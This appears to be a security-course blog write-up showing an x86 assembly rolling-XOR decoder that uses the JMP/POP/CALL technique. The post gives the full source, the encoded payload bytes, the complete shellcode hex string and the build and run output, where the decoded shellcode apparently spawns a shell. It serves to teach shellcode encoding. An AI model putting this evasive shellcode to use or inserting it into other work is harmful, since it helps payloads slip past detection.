Making use of the original ASM file from SLAE, I’ve created a variant which uses the JMP/POP/CALL technique.
So, what does it do? In short, it pushes the generated string on the stack and pops it into a register. Then another function is being called, which copies the first random byte and second sequential byte to XOR against. Using a loop, the count (ECX) register is used for the length of the encoded string.
ASM file
The code below shows a JMP/POP/CALL technique calling for using the generated string and to loop it in the decode function.
; Name: rolling-xor-decoder.asm
; Author: hodorsec
global _start
section .text
_start:
jmp short call_shellcode
decoder:
pop esi ; Being called by decoder, last pushed value on stack, put in ESI
; Clear registers for usage
xor ecx, ecx ; Clear for counting loop
xor ebx, ecx
xor edx, ecx
mov cl, len ; Put length of EncodedShellcode into CL for count loop
decode:
mov bl, [esi] ; Copy first character pointing from ESI to BL
mov dl, [esi+1] ; Copy second character pointing from ESI to DL
xor bl, dl ; Do a XOR on the character being stored in DL, copy result in BL
mov [esi], bl ; Copy the XOR'ed value into the address where ESI is pointing to
inc esi ; Move to next character
loop decode ; "loop" automatically decrements CL, so loop until 0 then goto next instruction
jmp EncodedShellcode ; Jump to the address of the shellcode to execute
call_shellcode:
call decoder
; The encoded shellcode as generated by the python script
EncodedShellcode: db 0xfb,0xca,0x0a,0x5a,0x32,0x1d,0x32,0x41,0x29,0x41,0x6e,0x0c,0x65,0x0b,0x82,0x61,0x31,0xb8,0x5a,0x09,0x80,0x61,0xd1,0xda,0x17,0x97
len: equ $-EncodedShellcode ; Variable for the length of the encoded shellcode
Compiling ASM
Let’s try to compile the file
$ ../compile_asm.sh rolling-xor-decoder
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
Running the compiled file
When we run the file we get a SEGFAULT. This is due to an attempt to write a memory region which is read-only.
$ ./rolling-xor-decoder
Segmentation fault (core dumped)
Compiling it as C variant
$ cp ../sc_template_c.c rolling-xor-decoder-c.c
$ ../convert_bin_sc.sh rolling-xor-decoder
"\xeb\x17\x5e\x31\xc9\x31\xcb\x31\xca\xb1\x1a\x8a\x1e\x8a\x56\x01\x30\xd3\x88\x1e\x46\xe2\xf4\xeb\x05\xe8\xe4\xff\xff\xff\xfb\xca\x0a\x5a\x32\x1d\x32\x41\x29\x41\x6e\x0c\x65\x0b\x82\x61\x31\xb8\x5a\x09\x80\x61\xd1\xda\x17\x97"
$ vim rolling-xor-decoder-c.c
$ ../compile_c.sh rolling-xor-decoder-c
[+] Compiling ...
[+] Done!
Run as C variant
Now we’re trying to run again, as C binary. What gives? It runs and it’s shellcode is 56 bytes in length
$ ./rolling-xor-decoder-c
Shellcode Length: 56
$